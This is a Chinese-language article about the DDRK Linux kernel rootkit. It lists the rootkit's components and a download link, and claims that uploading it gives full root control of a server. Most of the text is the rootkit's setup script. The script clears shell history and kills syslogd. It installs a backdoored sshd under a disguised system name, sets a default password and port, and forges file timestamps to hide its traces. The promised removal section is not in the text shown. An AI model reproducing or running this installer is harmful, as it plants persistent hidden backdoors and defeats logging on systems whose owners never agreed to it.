Linux下rootkit-ddrk攻击获得root权限以及清除方法
DDRK是一个Linux结合shv和adore-ng优点，内核级别的rootkit。
DDRK中包含的文件：
netstat #替换系统中的netstat，从ssh配置文件中读取端口并隐藏
rk.ko #内核模块，实现文件和进程的隐藏功能
setup #rootkit安装文件
tty #ava工具
bin.tgz
---ttymon
---sshd.tgz
---.sh
---shdcf2 #sshd配置文件
---shhk
---shhk.pub
---shrs
---sshd #sshd主程序
DDRK下载地址：http://www.sectop.com/soft/ddrk.tgz
因此只要把这些文件上传到服务器上并成功运行，就可以获得该服务器的root权限。为所欲为，无所不能。
setup内容如下：
#!/bin/bash
##########define variables##########
DEFPASS=123456 //默认密码
DEFPORT=43958 //默认端口
BASEDIR=`pwd`
SSHDIR=/lib/libsh.so
HOMEDIR=/usr/lib/libsh
unset HISTFILE;unset HISTSIZE;unset HISTORY;unset HISTSAVE;unset HISTFILESIZE
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
##########check is root##########
if [ "$(whoami)" != "root" ]; then
echo "BECOME ROOT AND TRY AGAIN"
echo ""
exit
fi
##########extract all tar##########
tar zxf bin.tgz
cd bin
tar zxf sshd.tgz
rm -rf ./sshd.tgz
cd $BASEDIR
rm -rf bin.tgz
cd $BASEDIR
##########kill syslogd##########
killall -9 syslogd >/dev/null 2>&1
sleep 2
##########remove sh.conf##########
if [ -f /etc/sh.conf ]; then
rm -rf /etc/sh.conf //经过md5sum加密过的密码文件
fi
##########initialize sshd configuration##########
if test -n "$1" ; then
echo "Using Password : $1"
cd $BASEDIR/bin
echo -n $1|md5sum > /etc/sh.conf
else
echo "No Password Specified, using default - $DEFPASS"
echo -n $DEFPASS|md5sum > /etc/sh.conf
fi
touch -acmr /bin/ls /etc/sh.conf
chown -f root:root /etc/sh.conf
if test -n "$2" ; then
echo "Using ssh-port : $2"
echo "Port $2" >> $BASEDIR/bin/.sh/sshd_config
cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2
mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
else
echo "No ssh-port Specified, using default - $DEFPORT"
echo "Port $DEFPORT" >> $BASEDIR/bin/.sh/sshd_config
cat $BASEDIR/bin/.sh/shdcf2 >> $BASEDIR/bin/.sh/sshd_config ; rm -rf $BASEDIR/bin/.sh/shdcf2
mv $BASEDIR/bin/.sh/sshd_config $BASEDIR/bin/.sh/shdcf
fi
###########creating dirs##########
SSHDIR=/lib/libsh.so
HOMEDIR=/usr/lib/libsh
if [ -d /lib/libsh.so ]; then
rm -rf /lib/libsh.so
fi
if [ -d /usr/lib/libsh ]; then
rm -rf /usr/lib/libsh/*
fi
mkdir $SSHDIR
touch -acmr /bin/ls $SSHDIR
mkdir $HOMEDIR
touch -acmr /bin/ls $HOMEDIR
cd $BASEDIR/bin
mv .sh/* $SSHDIR/
mv .sh/.bashrc $HOMEDIR
if [ -f /sbin/ttyload ]; then
chattr -AacdisSu /sbin/ttyload
rm -rf /sbin/ttyload
fi
if [ -f /usr/sbin/ttyload ]; then
rm -rf /usr/sbin/ttyload
fi
if [ -f /sbin/ttymon ]; then
rm -rf /sbin/ttymon
fi
mv $SSHDIR/sshd /sbin/ttyload
chmod a+xr /sbin/ttyload
chmod o-w /sbin/ttyload
touch -acmr /bin/ls /sbin/ttyload
kill -9 `pidof ttyload` >/dev/null 2>&1
mv $BASEDIR/bin/ttymon /sbin/ttymon
chmod a+xr /sbin/ttymon
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